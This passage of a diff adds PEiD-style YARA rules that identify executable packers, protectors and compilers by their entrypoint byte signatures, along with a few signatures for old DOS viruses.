+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b7_
+{
+	meta:
+		description = "tElock v0.71b7"
+	strings:
+		$0 = {60 E8 48 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27b_
+{
+	meta:
+		description = "Exe Shield v2.7b"
+	strings:
+		$0 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+		$1 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_UPX_06__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [UPX 0.6] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+		$1 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Shrinker_v34_
+{
+	meta:
+		description = "Shrinker v3.4"
+	strings:
+		$0 = {83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF}
+		$1 = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Enigma_protector_110111__Vladimir_Sukhov_
+{
+	meta:
+		description = "Enigma protector 1.10/1.11 -> Vladimir Sukhov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)"
+	strings:
+		$0 = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protector_093__CRYPToCRACk_
+{
+	meta:
+		description = "PE Protector 0.9.3 --> CRYPToCRACk"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Phoenix927_
+{
+	meta:
+		description = "Vx: Phoenix.927"
+	strings:
+		$0 = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _LamerStop_v10c_c_Stefan_Esser_
+{
+	meta:
+		description = "LamerStop v1.0c (c) Stefan Esser"
+	strings:
+		$0 = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+	condition:
+		$0 at entrypoint
+}
+rule _unknown__jac_
+{
+	meta:
+		description = "unknown -> jac"
+	strings:
+		$0 = {55 89 E5 B9 00 80 00 00 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 31 C2 66 01 C2 C1 C2 07 E2 F1 50 E8 91 FF FF FF C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v060_
+{
+	meta:
+		description = "tElock v0.60"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Goats_Mutilator_v16__Goat_e0f_
+{
+	meta:
+		description = "Goats Mutilator v1.6 -> Goat/_e0f"
+	strings:
+		$0 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+		$1 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Packanoid_v1__Arkanoid_
+{
+	meta:
+		description = "Packanoid v1 -> Arkanoid"
+	strings:
+		$0 = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_v14_LITE__BG_Software_Protect_Technologies_h_
+{
+	meta:
+		description = "Software Compress v1.4 LITE -> BG Software Protect Technologies (h)"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CodeSafe_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CodeSafe 2.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VideoLanClient_
+{
+	meta:
+		description = "Video-Lan-Client"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v120b_
+{
+	meta:
+		description = "eXPressor v1.2.0b"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+	condition:
+		$0
+}
+rule _Packman_V0001__Bubbasoft_
+{
+	meta:
+		description = "Packman V0.0.0.1 -> Bubbasoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MEW_11_SE_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MEW 11 SE 1.0] --> Anorganix"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+		$1 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PGMPACK_v013_
+{
+	meta:
+		description = "PGMPACK v0.13"
+	strings:
+		$0 = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint
+}
+rule _diPacker_V1X__diProtector_Software_
+{
+	meta:
+		description = "diPacker V1.X -> diProtector Software"
+	strings:
+		$0 = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Explosion1000_
+{
+	meta:
+		description = "Vx: Explosion.1000"
+	strings:
+		$0 = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Protection_Plus_vxx_
+{
+	meta:
+		description = "Protection Plus vx.x"
+	strings:
+		$0 = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_for_Windows_1_
+{
+	meta:
+		description = "Microsoft C for Windows (1)"
+	strings:
+		$0 = {33 ED 55 9A ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v10xx_
+{
+	meta:
+		description = "Crunch/PE v1.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Protect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Protect 0.9] --> Anorganix"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+		$1 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Shield_vxx_
+{
+	meta:
+		description = "Exe Shield vx.x"
+	strings:
+		$0 = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_v125__PolyTech_
+{
+	meta:
+		description = "VMProtect v1.25 --> PolyTech"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3}
+		$1 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3}
+		$2 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3}
+		$3 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3}
+		$4 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$5 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$6 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$7 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$8 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$9 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$10 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$11 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$12 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$13 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$14 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$15 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$16 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$17 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$18 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$19 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$20 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$21 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$22 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$23 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$24 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$25 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$26 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$27 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$28 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$29 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$30 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$31 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$32 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$33 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$34 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$35 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$36 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$37 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$38 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$39 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$40 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$41 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$42 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$43 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$44 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$45 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$46 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$47 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$48 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$49 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$50 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
